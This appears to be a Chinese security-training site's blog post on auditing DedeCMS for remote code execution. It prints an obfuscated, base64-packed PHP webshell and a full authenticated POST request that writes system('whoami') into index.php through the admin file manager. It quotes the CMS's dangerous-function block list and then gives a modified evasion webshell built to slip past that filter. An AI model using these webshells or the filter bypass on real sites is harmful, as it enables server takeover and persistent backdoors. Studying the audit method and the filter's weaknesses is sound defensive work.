\u003Ehttps:\u002F\u002Fmp.weixin.qq.com\u002Fs\u002FWDWBwPQuXroBRpBPxkHOcg\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E感谢给的平台\u003C\u002Fp\u003E\u003Cp\u003E然后我们访问首页\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" src=\"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002F3638f05f-1ee6-4da9-ab1a-46661049b873.png\" width=\"720\" height=\"462.85714285714283\"\u003E\u003C\u002Fp\u003E\u003Cp\u003E成功弹出计算器\u003C\u002Fp\u003E",metaDescription:c,metaKeywords:b}},systemName:"蚁景网安 - 网络安全人才培养服务提供商",loginUser:void 0,cacheFlag:"f587b7ceb4edd05811e1586009f870d3",isMobileDevice:false}}("意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE","代码审计,织梦CMS,免杀webshell","书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS,最后成功利用免杀 webshell 实现了 RCE,本文讲述其审计过程和思路。"))

意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE

2025-08-15 16:57
963

前言

书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS

官方网站 https://www.dedecms.com/

最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路

环境搭建

去官网下载源码,然后配合 phpstudy 搭建就 ok 了

这个比较简单,注意根目录需要放 upload 目录

注意默认的管理员目录是 dede,访问/dede/login.php

默认账户密码adminadmin

代码审计

这里我只找 RCE 漏洞

首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞

sink 点的话可以使用一个工具

Seay 源代码审计系统

https://github.com/f1tz/cnseay

虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术

我们直接把源码丢进去就可以了

可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的

然后这里我只关注能够 RCE 的漏洞

找到之后没有什么技巧,就是回头看参数是否可以控制

下面举个例子

案例 1

比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下

<?php /*<meta name="9Rrdzo" content="a">*/
$password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbaTRnSkVRN0NuMEtKSEJoYzNNOUoyRW5Pd29rY0dGNWJHOWhaRTVoYldVOUozQmhlV3h2WVdRbk93b2thMlY1UFNjd1kyTXhOelZpT1dNd1pqRmlObUU0SnpzS2FXWWdLR2x6YzJWMEtDUmZVRTlUVkZza2NHRnpjMTBwS1hzS0lDQWdJQ1JrWVhSaFBXVnVZMjlrWlNoaVlYTmxOalJmWkdWamIyUmxLQ1JmVUU5VFZGc2tjR0Z6YzEwcExDUnJaWGtwT3dvZ0lDQWdhV1lnS0dsemMyVjBLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZEtTbDdDaUFnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUmZVMFZUVTBsUFRsc2tjR0Y1Ykc5aFpFNWhiV1ZkTENSclpYa3BPd29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkhCaGVXeHZZV1FzSW1kbGRFSmhjMmxqYzBsdVptOGlLVDA5UFdaaGJITmxLWHNLSUNBZ0lDQWdJQ0FnSUNBZ0pIQmhlV3h2WVdROVpXNWpiMlJsS0NSd1lYbHNiMkZrTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLQ1FsbGRtRnNLQ1J3WVhsc2IyRmtLVHNLSUNBZ0lDQWdJQ0JsWTJodklITjFZbk4wY2lodFpEVW9KSEJoYzNNdUpHdGxlU2tzTUN3eE5pazdDaUFnSUNBZ0lDQWdaV05vYnlCaVlYTmxOalJmWlc1amIyUmxLR1Z1WTI5a1pTaEFjblZ1S0NSa1lYUmhLU3drYTJWNUtTazdDaUFnSUNBZ0lDQWdaV05vYnlCemRXSnpkSElvYldRMUtDUndZWE56TGlSclpYa3BMREUyS1RzS0lDQWdJSDFsYkhObGV3b2dJQ0FnSUNBZ0lHbG1JQ2h6ZEhKd2IzTW9KR1JoZEdFc0ltZGxkRUpoYzJsamMwbHVabThpS1NFOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKRjlUUlZOVFNVOU9XeVJ3WVhsc2IyRmtUbUZ0WlYwOVpXNWpiMlJsS0NSa1lYUmhMQ1JyWlhrcE93b2dJQ0FnSUNBZ0lIMEtJQ0FnSUgwS2ZRPT0=';
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
   if ($k[0] == 'd' && $k[5] == 'd') {
       $template_source = str_replace($v,'',$password);
  }}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$key;
@eval($aes_decode[1]);
$NkM1M7 = "..............";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
   header('Content-Type:text/html;charset=utf-8');    http_response_code(405);
   echo base64_decode/**/($NkM1M7);
}

我们可以看到这个参数其实是不能控制的

`aes_decode[1]就是 $key,等价于$template_source

$template_source = str_replace($v, '', $password);

来源于$password

而其中 password 是固定的,所以不可以控制

案例 2

function DeleteFile($filename)
  {
       $filename = $this->baseDir.$this->activeDir."/$filename";
       if(is_file($filename))
      {
           @unlink($filename); $t="文件";
      }
       else
      {
           $t = "目录";
           if($this->allowDeleteDir==1)
          {
               $this->RmDirFiles($filename);
          } else
          {
               // 完善用户体验,by:sumic
               ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);
               exit;
          }
           
      }
       ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);
       return 0;
  }
}

是一个方法,这种需要寻找调用这个方法的地方

else if($fmdo=="del")
{
   $fmm->DeleteFile($filename);
}

这种是一个典型的控制器,根据 fmdo 来选择对应的操作

不过根据所在的文件的注释

/**
* 文件管理控制
*
* @version       $Id: file_manage_control.php 1 8:48 2010年7月13日 $
* @package       DedeCMS.Administrator
* @founder       IT柏拉图, https://weibo.com/itprato
* @author         DedeCMS团队
* @copyright     Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)
* @license       http://help.dedecms.com/usersguide/license.html
* @link           http://www.dedecms.com
*/

这里就能大概猜到了

是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越

不过这里是做了限制的

$filename = preg_replace("#([.]+[/]+)*#", "", $filename);

移除 ../ 形式的路径穿越字符

而且下面还会直接移除..

所以考虑放弃

案例 3

定位到 sys_sql_query.php 文件了

发现可以执行 sql

if(preg_match("#^select #i", $sqlquery))
  {
       $dsql->SetQuery($sqlquery);
       $dsql->Execute();
       if($dsql->GetTotalRow()<=0)
      {
           echo "运行SQL:{$sqlquery},无返回记录!";
      }
       else
      {
           echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
      }
       $j = 0;
       while($row = $dsql->GetArray())
      {
           $j++;
           if($j > 100)
          {
               break;
          }
           echo "<hr size=1 width='100%'/>";
           echo "记录:$j";
           echo "<hr size=1 width='100%'/>";
           foreach($row as $k=>$v)
          {
               echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
          }
      }
       exit();
  }
   if($querytype==2)
  {
       //普通的SQL语句
       $sqlquery = str_replace("\r","",$sqlquery);
       $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);
       $nerrCode = ""; $i=0;
       foreach($sqls as $q)
      {
           $q = trim($q);
           if($q=="")
          {
               continue;
          }
           $dsql->ExecuteNoneQuery($q);
           $errCode = trim($dsql->GetError());
           if($errCode=="")
          {
               $i++;
          }
           else
          {
               $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";
          }
      }
       echo "成功执行{$i}个SQL语句!<br><br>";
       echo $nerrCode;
  }
   else
  {
       $dsql->ExecuteNoneQuery($sqlquery);
       $nerrCode = trim($dsql->GetError());
       echo "成功执行1个SQL语句!<br><br>";
       echo $nerrCode;
  }
   exit();
}

而且 sql 语句是可以控制的

跟进执行的地方发现

function Execute($id="me", $sql='')
{
     global $dsqli;
if(!$dsqli->isInit)
{
$this->Init($this->pconnect);
}
     if($dsqli->isClose)
    {
         $this->Open(FALSE);
         $dsqli->isClose = FALSE;
    }
     if(!empty($sql))
    {
         $this->SetQuery($sql);
    }
     //SQL语句安全检查
     if($this->safeCheck)
    {
         CheckSql($this->queryString);
    }

     $t1 = ExecTime();
     //var_dump($this->queryString);
     $this->result[$id] = mysqli_query($this->linkID, $this->queryString);
//var_dump(mysql_error());

     //查询性能测试
     if($this->recordLog) {
$queryTime = ExecTime() - $t1;
         $this->RecordLog($queryTime);
         //echo $this->queryString."--{$queryTime}<hr />\r\n";
    }

     if($this->result[$id]===FALSE)
    {
         $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
    }
}

是有一个 checksql 的检查的

//SQL语句过滤程序,由80sec提供,这里作了适当的修改
if (!function_exists('CheckSql'))
{
   function CheckSql($db_string,$querytype='select')
  {
       global $cfg_cookie_encode;
       $clean = '';
       $error='';
       $old_pos = 0;
       $pos = -1;
       $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
       $userIP = GetIP();
       $getUrl = GetCurUrl();

       //如果是普通查询语句,直接过滤一些特殊语法
       if($querytype=='select')
      {
           $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

           //$notallow2 = "--|/\*";
           if(preg_match("/".$notallow1."/i", $db_string))
          {
               fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
               exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
          }
      }

       //完整的SQL检查
       while (TRUE)
      {
           $pos = strpos($db_string, '\'', $pos + 1);
           if ($pos === FALSE)
          {
               break;
          }
           $clean .= substr($db_string, $old_pos, $pos - $old_pos);
           while (TRUE)
          {
               $pos1 = strpos($db_string, '\'', $pos + 1);
               $pos2 = strpos($db_string, '\\', $pos + 1);
               if ($pos1 === FALSE)
              {
                   break;
              }
               elseif ($pos2 == FALSE || $pos2 > $pos1)
              {
                   $pos = $pos1;
                   break;
              }
               $pos = $pos2 + 1;
          }
           $clean .= '$s
;
           $old_pos = $pos + 1;
      }
       $clean .= substr($db_string, $old_pos);
       $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

       if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
       OR strpos($clean,'$s$s
)!== FALSE)
      {
           $fail = TRUE;
           if(preg_match("#^create table#i",$clean)) $fail = FALSE;
           $error="unusual character";
      }

       //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
       if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="union detect";
      }

       //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
       elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
      {
           $fail = TRUE;
           $error="comment detect";
      }

       //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
       elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="slown down detect";
      }
       elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="slown down detect";
      }
       elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="file fun detect";
      }
       elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="file fun detect";
      }

       //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
       elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="sub select detect";
      }
       if (!empty($fail))
      {
           fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
           exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
      }
       else
      {
           return $db_string;
      }
  }
}

案例 4

基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法

我们来到对应的路由去查看

果然找到了

//文件编辑

/*---------------
function __saveEdit();
----------------*/
else if($fmdo=="edit")
{
   csrf_check();
   $filename = str_replace("..", "", $filename);
   $file = "$cfg_basedir$activepath/$filename";
   $str = stripslashes($str);
   $fp = fopen($file, "w");
   fputs($fp, $str);
   fclose($fp);

   if ($fp === false) {
       ShowMsg("保存失败!请检查文件是否可写", -1);
       exit();
  }

   if(empty($backurl))
  {
       ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");
  }
   else
  {
       ShowMsg("成功保存文件!",$backurl);
  }
   exit();
}

一样的方法

文件名是 filename,内容是 str

我们访问对应的路由

发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗

POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 130
Cache-Control: max-age=0
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwahta_5a98Q7N_flG_VxGw676bsG3Q_Hk4jTL1XGn8HrFtj7ITT0j3kWTuZGs6I-UvyxNRfGi-rNoxmSTFE5r0gcex_HS4cP3EIRhvDiGtL0l8FXtOxSMrK24qcFj3JoVYSmG96Nex-jhaGx1flJEYMyibz9IZePg-2omX_wkoeSaLq4YyiPqxM2PUlURr6YFm1mU5MQVi-YmbyXOl2fzt8A2tMnIjOgRKtXHxj6VLIZ9JeN7al8oiGzDb-Z64p8FHHhQN7zJzeWvRrN7arFe8tKpV7Nzrv; PHPSESSID=efqbsshdtt5v597qu9paat8s7a; _csrf_name_f9024a86=f709bfcd9cfdec39b55e236837689b25; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=f4d72c693dc8f42f; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1752071402; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=b21c89eb676161cd; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive

fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++

但是发现

所以准备调试分析一手

$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
   $value = str_replace(" ", "", $value);
   if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
}

if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
   if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
   if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
   if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
}

发现原因是因为有 waf

直接交给一个聪明朋友

移除多行注释

$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

防止攻击者把危险代码写在注释中来绕过检测。

危险函数与变量过滤

$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';

匹配并拦截使用了以下内容的代码:

系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等

全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS

动态函数调用:call_user_func, create_function, 等

一旦匹配:直接终止执行并提示危险代码。

PHP 标签与代码执行行为检测

001.png

感觉过滤还是挺严格的

绕过 waf 到 RCE

直接掏出上次的 webshell,稍微修改一下就 ok 了

<?php

class User {
   private $username;
   private $password;

   public function __construct($username, $password) {
       $this->username = $username;
       $this->password = $password;
  }

   public function __debugInfo() {
       $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
       $xmlElement = new SimpleXMLElement($xmlData);
       $namespaces = $xmlElement->getNamespaces(TRUE);
       $xmlElement->rewind();
       var_dump($xmlElement->key());
       $result = $xmlElement->xpath('/books/system');
       var_dump (($result[0]->__toString()));
      ($xmlElement->key())($result[0]->__toString());
       return [
           'username' => $this->username,
           'info' => '这是调试时返回的信息',
           'timestamp' => time()
      ];
  }
}

$user = new User('alice', 'secret123');
var_dump($user);

原理上次大概讲过了,就是自动触发

详情可以看到蚁景网络安全这个公众号

https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg

感谢给的平台

然后我们访问首页

成功弹出计算器

蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~

扫码咨询客服了解招生最新内容和活动

🎈网安学院推荐课程:Web安全工程师特训班Python全栈安全开发特训班应急响应安全工程师特训班
 CTF-Reverse实战技能特训班CTF-WEB实战技能特训班 CTF-PWN实战技能特训班CTF-MISC实战技能特训班 SRC漏洞挖掘实战班HVV大师课